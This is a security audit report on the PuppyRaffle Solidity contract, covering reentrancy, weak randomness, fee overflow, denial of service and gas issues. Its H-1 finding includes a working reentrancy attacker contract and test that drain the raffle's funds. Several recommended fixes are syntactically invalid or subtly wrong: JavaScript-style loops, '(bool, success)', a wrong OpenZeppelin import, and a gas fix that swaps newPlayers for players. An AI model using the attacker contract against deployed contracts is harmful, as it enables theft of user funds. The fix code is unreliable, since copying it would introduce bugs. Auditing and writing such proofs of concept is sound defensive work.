PuppyRaffle Audit Report

Version 1.0

Audit

January 12, 2024

PuppyRaffle Audit report

Badal Sharma

january 6, 2024

Prepared by: Badal Sharma Lead Auditors: - xxxxxxx

Table of Contents

- **[M-2]** Unsafe cast of `PuppyRaffle::fee` losses fees.
- **[M-3]** Smart contract wallets raffle winner without a `recieve` or `fallback` function will block the start of a new contest.
- Low
- **[L-1]** `PuppyRaffle::getActivePlayerIndex` returns 0 if a player is non-exist or a player at index 0, causing a player in index 0 they incorrectly think they have not entered the raffle.
- Gas
- **[G-1]** Unchanged state variables should be constant.
- **[G-2]** Storage variables in loop should be cached.
- **[G-3]** Use `address(this).balance` insted of `players.length * entranceFee;` in `PuppyRaffle:selectWinner` function.
- Informational
- **[I-1]** Solidity Pragma should be specified, not wide.
- **[I-2]** Solidity outdated versions not recommended.
- **[I-3]** Missing check for `address(0)` when assining the values to address state variables.
- **[I-4]** `PuppyRaffle::selectWinner` does not follow CEI, It is not best practice.
- **[I-5]** Use of `magic number` is discouraged.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Badal Sharma makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is

not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This code is audit by Badal Sharma…..

Issues found

Severty	No of issue found
High	3
Medium	3
Low	1
Info	5
Gas	3
Total	15

Findings

High

[H-1] Not usiing CEI check in `PuppyRaffle:refund` function arries a Reetrancy vulnerability.

Description: The `PuppyRaffle:refund` function used for send refund to existing user. Howerver, the `PuppyRaffle:refund` is not update the state variables in the Smart Contract before calling the external functions for restrict Reetrancy vulnerability.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6         /// @audit Reetrancy
7           payable(msg.sender).sendValue(entranceFee);
8
9           players[playerIndex] = address(0);
10          emit RaffleRefunded(playerAddress);
11      }
```

A player who has entered the raffle could have the `fallback/recieve` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the circle till than contract balance is drained.

Impact: All the fee paid by enterRaffle could be stolen by malacious user. By repeatedly calling a contract or function, an attacker can manipulate the state of the system in unintended ways. This can result in unauthorized access to sensitive data, theft of funds, or even system crashes.

Proof of Concept: 1. User enter the raffle. 2. Attacker setup the contract with `fallback` function that calls `PuppyRaffle::refund` function. 3. Attacker enter the raffle. 4. Attacker calls the `PuppyRaffle::refund` function from their attack contract, draning the contract balance.

POC

Following test code paste it in `PuppyRaffle.t.sol` and the run the test.

```
function test_Reetrancyfund() public {
        address[] memory players = new address[](4);
       players[0] = playerOne;
       players[1] = playerTwo;
       players[2] = playerThree;
       players[3] = playerFour;
       puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

      ReetrancyAttacker reetrancyAttacker = new ReetrancyAttacker(
         puppyRaffle);
       address attackerUser = makeAddr("attackerUser");
       vm.deal(attackerUser, 1 ether);

        uint256 StartingAttackerBalance = address(reetrancyAttacker).
           balance;
        uint256 StartingContractBalance= address(puppyRaffle).balance;

        // attack
        vm.prank(attackerUser);
        reetrancyAttacker.attack{value: entranceFee}();
        console.log("Attacker balance before:", StartingAttackerBalance
           );
        console.log("contract balance before:", StartingContractBalance
           );

        console.log("Attacker balance After:", address(
           reetrancyAttacker).balance);
        console.log("contract balance After:", address(puppyRaffle).
           balance);
    }
```

```
// The attacker contract
contract ReetrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 enteranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
```

```
8           puppyRaffle = _puppyRaffle;
9           enteranceFee = puppyRaffle.entranceFee();
10      }
11
12      function attack() external payable {
13          address[] memory players = new address[](1);
14          players[0] = address(this);
15          puppyRaffle.enterRaffle{value: enteranceFee}(players);
16           attackerIndex = puppyRaffle.getActivePlayerIndex(address(this)
                );
17      }
18
19      function _stealMoney() internal {
20  if (address(puppyRaffle).balance >= enteranceFee) {
21          puppyRaffle.refund(attackerIndex);
22      }
23      }
24
25      fallback() external payable {
26          _stealMoney();
27      }
28
29      receive() external payable {
30          _stealMoney();
31      }
32  }
```

Recommended Mitigation:

1. Use a Mutex or Mutual Exclusion Lock: A mutex lock is used to prevent multiple calls to the same function from occurring at the same time. When a function is called, the mutex lock is set, and other calls to the same function will be blocked until the lock is released.
2. Use a Guard Condition: A guard condition is a flag that is set before external function calls and checked after. If the flag is set, the contract will not execute the external call and prevent reentrancy.
3. To update the state variables in the Smart Contract before calling the external functions or external contracts. Let's take a look at how we could change the existing code to implement this functionality:

```
1  Original Code:
2     address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6  -        payable(msg.sender).sendValue(entranceFee);
7
```

```
-         players[playerIndex] = address(0);
          emit RaffleRefunded(playerAddress);
```

```
Some Modification:
address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
          require(playerAddress != address(0), "PuppyRaffle: Player
             already refunded, or is not active");

+         players[playerIndex] = address(0);

+         payable(msg.sender).sendValue(entranceFee);
          emit RaffleRefunded(playerAddress);
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influance or predict the winner and influance and predict the puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` togather create predictable find number. A predictable number is not a good random number. Malacious users can manupulate this values and known them ahead of time to choose winner of the raffle themselves.

Note- This additional means users could fron-trun this function and call `refund`, if they see they are not the winner.

Impact: Any user can infulance the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as who win the raffle.

Proof of Concept:

1. Validators predicting `block timestamp` and `block difficulty` can significantly manipulate their participation.
2. Users can modify their message sender value, making their address the preferred one to determine the winner.
3. Transactions, such as select winner, can be reverted by users if the result doesn't meet their satisfaction.

Recommended Mitigation: A cryptographically verifiable random number generator, such as Chainlink VRF, could substantially mitigate such issues.

[H-3] Integer overflow in `Puppyraffle:totalFees` loses fees.

Description: In solidity version pirior to `0.8.0` interger were subject to integer overflow.

```
myVar = typeof myVar(64).max;
// 'myVar' reaches limit
myVar = myVar + 1;
// 'myVar' is incremented by 1 and wraps back to 0, causing overflow
```

Impact: `PuppyRaffle::selectWinner`, `totalFee` accumalated for the `feeAddress` to collect later in the `PuppyRaffle::withdrawFees`, However if the `totalFee` variable is overflow, the `feeAddress` may not collect correct amount of fee, leaving fee permanently stuct in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter the new raffle, and conclude a raffle.
3. `totalFees` will we:

```
totalFees = totalFees + uint64(fee);
//aka
totalFees = 800000000000000000 + 178000000000000000
// and this will overflow
totalFees = 153255926290448384
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Althought you could use `selfdestruct` to send the ETH to this contract in order for value the match and withdraw the fees, this is clearly not to be intended design of the protocol. At some point, there will be to much `balance` in the contract that the above `require` will be imposible to hit.

POC

```
function test_Overflow() public playersEntered {
        //We finish a raffle 4 to collect money
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFee = puppyRaffle.totalFees();
        console.log("Starting Total Fee", startingTotalFee);

        // Now total 89 players enter the raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
```

```
15          }
16          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
17
18          // We end the raffle
19          vm.warp(block.timestamp + duration + 1);
20          vm.roll(block.number + 1);
21
22          // And here is where issue accured
23          // We will now have fewor feeseven througth we just finished a
                second raffle
24          puppyRaffle.selectWinner();
25
26          uint256 endingTotalFee = puppyRaffle.totalFees();
27          console.log("Ending Total Fee", endingTotalFee);
28          assert(startingTotalFee > endingTotalFee);
29
30          // We will also unable to withdraw any fees because of the
                require check
31          vm.prank(puppyRaffle.feeAddress());
32          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
33          puppyRaffle.withdrawFees();
34      }
```

Recommended Mitigation: We propose the following strategies: 1. Upgrade to a newer version of Solidity. 2. Use a uint256 type instead of uint64 for puppyRaffle total fees. 3. Utilize the SafeMath library of OpenZepplin for Solidity v0.7.6. 4. Remove the balance check from puppyRaffle withdraw fees function.

An example mitigation strategy would be:

```
1 -   totalFees = totalFees + uint64(fee); // The line to be removed
2 +   totalFees = totalFees.add(fee); // After mitigation using
      OpenZepplin's SafeMath library
```

There are one more attack vector with that final require, so we recommend remove it regardless.

Medium

[M-1] Looping through the players array to check the duplicates in `PuppyRaffle.sol:enterRaffle` is a potential denial of service attack becouse of uncessary loops.

Description: The `PuppyRaffle.sol:enterRaffle` function uses loops througth the `players` array for avoiding duplicate players. However, the longer the `PuppyRaffle.sol:enterRaffle`

array is, the more checks have to make. This means the player who enter the right when the PuppyRaffle starts dramatically cost low gas comparison to who enter later.

```
// DOS
for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
```

Impact: The gas cost of raffle entrants will continousely gain as more player enter. Discourging later usersfrom entering, and cousing a rush at the start of the raffle to be one of the first entrants in the queue.

Proof of Concept:

If we have 2 sets of 100 players, who will enter are such as: - First 100 players gas cost: 6252048 - Second 100 players gas cost: 18068138

POC

The following test paste it in `PuppyRaffleTest.t.sol` and run the test.

```
function testDenailOfService() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        // Check Gas Usage
        uint256 StartGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 EndGas = gasleft();
        uint256 TotalGasFirst = (StartGas - EndGas) * tx.gasprice;
        console.log("Total Gas Price First:", TotalGasFirst);

        //Another 100 Players
        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // 1,2,3 -->
                101,102,103
        }

        // Check Gas Usage
        uint256 StartGasSecond = gasleft();
```

```
26          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
27          uint256 EndGasSecond = gasleft();
28          uint256 TotalGasSecond = (StartGasSecond - EndGasSecond) * tx.
                gasprice;
29          console.log("Total Gas Price Second:", TotalGasSecond);
30      }
```

Recommended Mitigation:

1. Consider allowing duplicates, Users can make new wallet addresses always, so the duplicate check doesn't prevent the same person for enter multiple times.
2. Using a Mapping for Duplicate Checks If the creators of the protocol insist on maintaining the check for duplicates, we suggest using a mapping to do this check. This strategy would grant constant time lookups to ascertain whether a user has already entered or not. Let's take a look at how we could change the existing code to implement this functionality:

```
Original Code:
- for (let i = 0; i < player.length; i++) {
- if (player[i] == _address) return true;
- }

Some Modification:
+ mapping(address => bool) entered;
+ if (entered[_address])return true;
```

With this mapping in place, the smart contract instantly reviews duplicates from only new players instead of traversing the whole array of players, thereby averting potential risks related to time complexity.

3. Leveraging OpenZeppelin's Enumerable Library Here's our last recommendation. An alternative technique could be to utilize OpenZeppelin's Enumerable library.

```
+ import "@openzeppelin/contracts/access/Enumerable.sol";

contract SomeContract {
    using Enumerable for Enumerable.Set;
    Enumerable.Set private players;
    // In some function..
    // if (players.contains(_address))return true;
    // players.add(_address);
    }
```

This option might be a viable solution, improving both performance and security of the protocol.

[M-2] Unsafe cast of `PuppyRaffle::fee` losses fees.

Description: In `PuppyRaffle::selectWinner` their is type cast of `uint256` to `uint64`. This is an unsafe cast, and if the `uint256`is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
3         require(players.length >= 4, "PuppyRaffle: Need at least 4
              players");
4
5         uint256 winnerIndex =
6             uint256(keccak256(abi.encodePacked(msg.sender, block.
                  timestamp, block.difficulty))) % players.length;
7         address winner = players[winnerIndex];
8         uint256 totalAmountCollected = players.length * entranceFee;
9
10        uint256 prizePool = (totalAmountCollected * 80) / 100;
11        uint256 fee = (totalAmountCollected * 20) / 100;
12
13        totalFees = totalFees + uint64(fee);
14        uint256 tokenId = totalSupply();
15
16        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
              block.difficulty))) % 100;
17        if (rarity <= COMMON_RARITY) {
18            tokenIdToRarity[tokenId] = COMMON_RARITY;
19        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
20            tokenIdToRarity[tokenId] = RARE_RARITY;
21        } else {
22            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
23        }
24
25        delete players;
26        raffleStartTime = block.timestamp;
27        previousWinner = winner;
28
29        (bool success,) = winner.call{value: prizePool}("");
30        require(success, "PuppyRaffle: Failed to send prize pool to
              winner");
31        _safeMint(winner, tokenId);
32    }
```

impact: The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH, meaning if more than 18ETH collected, the `fee` calsting will turnicate the value.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected.
2. The line cast the `fee` as a `uint64` hits.

3. `totalFees` incorectly updated with lower amount.

You can raplicate this with chissel in foundary by running following command:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
// Prints
0
```

Recommended Mitigation: Set `PuppyRalle::totalFees` to a `uint256` insted of `uint64` and remove the casting. There is a comment which says:

```
// We do some storge packing to save gas
```

But potential gas saved isn't worth it if we have to recast and this bug exist.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
.
.
.
function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");

        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;

        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

-        totalFees = totalFees + uint64(fee);
+        totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winner without a `recieve` or `fallback` function will block the start of a new contest.

Desription: `PuppyRaffle::selectWinner` function is responsibe for the reseting the lootory. However, if the winner is a smart contract wallet that rejects payment, the lootory would not be able to restart.

Users could easily called the `selectWinner` function again and non-wallet entrants could later, but it could cost a lot due to the duplicate check and lottery reset could get very challanging.

impact: `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get payout and someone else could take their money!.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback and recieve function. 2. The lottery ends 3. The `selectWinner` function would not work, even througth the lottery is over!.

Recommended Mitigation: There are a few options to mitigate this issue:

1. Do not allow smart contract wallets entrants (not recommended).
2. Create a mapping of address -> payout amount so winner can pull their funds out themselves with a nwe `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 if a player is non-exist or a player at index 0, causing a player in index 0 they incorrectly think they have not entered the raffle.

Description: If a player in `PuppyRaffle::players` array at index 0 this, will return 0, but according to netspec, It will also return 0 if a player not in the array.

```
1   // What if player in index 0, it'ill return 0 a players think it is
       not active player?
2  function getActivePlayerIndex(address player) external view returns (
       uint256) {
3          for (uint256 i = 0; i < players.length; i++) {
4              if (players[i] == player) {
5                  return i;
6              }
7          }
8          return 0;
9      }
```

Impact: A player at index 0 they incorectly think they have not enter the raffle, and attempt to re-enter the raffle, waste gas.

Proof of Concept: 1. User enter the raffle, they are the first attempt. 2. `PuppyRaffle::getActivePlayerIndex` return 0. 3. User think they have not enter correctly due to documentation.

Recommended Mitigation: 1. Revert if the player is not in the array, instead of returning zero. 2. Reserve the zero position for any void. 3. Return an int -1 if the player is not detected in the activity.

Gas

[G-1] Unchanged state variables should be constant.

Reading from storage much more expensive than reading from immutabe or constant variables.

- `PuppyRaffle::raffleDuration` Should be `immutabe`.
- `PuppyRaffle::commonImageUri` Should be `constant`.
- `PuppyRaffle::rareImageUri` Should be `constant`.
- `PuppyRaffle::legendaryImageUri` Should be `constant`.

[G-2] Storage variables in loop should be cached.

- EveryTime you call `Players.length` you read from storage, an opposed to memory which is more efficent.

1. found in`PuppyRaffle::enterRaffle`.

```
+ uint256 newPlayersLength = players.length;
+        for (uint256 i = 0; i < newPlayersLength; i++) {
-        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 i = 0; i < players.length - 1; i++) {
+          for (uint256 j = i + 1; j < playersLength; j++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

2. found in `PuppyRaffle::getActivePlayerIndex`.

```
+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength; i++) {
- for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
```

3. found in `PuppyRaffle::_isActivePlayer`.

```
+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength; i++) {
- for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
```

[G-3] Use `address(this).balance` insted of `players.length * entranceFee;` in `PuppyRaffle:selectWinner` function.

In `PuppyRaffle:selectWinner` function use `address(this).balance` insted of `players.length * entranceFee;`, In this way you save loat of gas.

```
uint256 totalAmountCollected = players.length * entranceFee;
```

****Proof of Concept:**

POC

Following test code paste it in `PuppyRaffle.t.sol` and the run the test.

```
function test_SelectWinnerTotalAmountCollected() public {
        vm.txGasPrice(1);

        uint256 playersNum = 5;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 startGas = gasleft();
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 endGas = gasleft();
        uint256 totalGas = (startGas - endGas) * tx.gasprice;
        console.log("Gas used:", totalGas);

        uint256 startGasTwo = gasleft();
        uint256 totalAmountCollectedTwo = address(this).balance;
        uint256 endGasTwo = gasleft();
        uint256 totalGasTwo = (startGasTwo - endGasTwo) * tx.gasprice;
        console.log("Gas used:", totalGasTwo);
    }
```

Informational

[I-1] Solidity Pragma should be specified, not wide.

- Consider using specific solidity version of pragma in your contract rather than wide. Insted of `pragma solidity ^0.7.6;`, use `pragma solidity 0.8.0;`.

[I-2] Solidity outdated versions not recommended.

- solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions: `0.8.18`

The recommendations take into account: 1. Risks related to recent releases 2. Risks of complex code generation changes 3. Risks of new language features 4. Risks of known bugs 5. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

please see slither documentation for more details [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation).

[I-3] Missing check for `address(0)` when assining the values to address state variables.

Assining values to address state variables without checking `address(0)`.

- found in `PuppyRaffle::feeAddress`.

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, It is not best practice.

It's the best to keep the function ckean and follow CEI, (checks, effects, interactions).

```
1 -    (bool, success) = winner.call{value: prizePool}("");
2 -    require(success, "PuppyRaffle: Failed to send prize pool to winner.
    ");
3      _safeMint(winner, tokenId);
4 +    (bool, success) = winner.call{value: prizePool}("");
5 +    require(success, "PuppyRaffle: Failed to send prize pool to winner.
    ");
```

[I-5] Use of `magic number` is discouraged.

It can be confusing to see literals in a codebase, and it's much more readable if the number are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80 ) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```